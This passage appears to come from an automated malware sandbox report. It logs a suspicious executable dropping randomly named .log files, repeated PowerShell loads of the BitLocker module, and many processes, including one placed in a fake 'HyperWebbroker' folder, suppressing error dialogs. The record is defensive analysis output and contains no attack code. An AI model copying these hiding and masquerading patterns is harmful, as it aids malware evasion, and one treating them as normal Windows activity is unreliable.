Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File created: C:\Users\user\Desktop\CvvLBlqK.log	Jump to dropped file
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File created: C:\Users\user\Desktop\htcPaTVC.log	Jump to dropped file
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File created: C:\Users\user\Desktop\FyhuXVvF.log	Jump to dropped file
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File created: C:\Users\user\Desktop\vPOensqX.log	Jump to dropped file
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File created: C:\Users\user\Desktop\mlFoDzaq.log	Jump to dropped file
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File created: C:\Users\user\Desktop\eIxzTFKJ.log	Jump to dropped file
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File created: C:\Users\user\Desktop\LqKTzAAu.log	Jump to dropped file
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File created: C:\Users\user\Desktop\qTMMgMAe.log	Jump to dropped file
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File created: C:\Users\user\Desktop\QdcRcxPi.log	Jump to dropped file
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File created: C:\Users\user\Desktop\GvICsVKA.log	Jump to dropped file
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File created: C:\Users\user\Desktop\xRAMIbuT.log	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
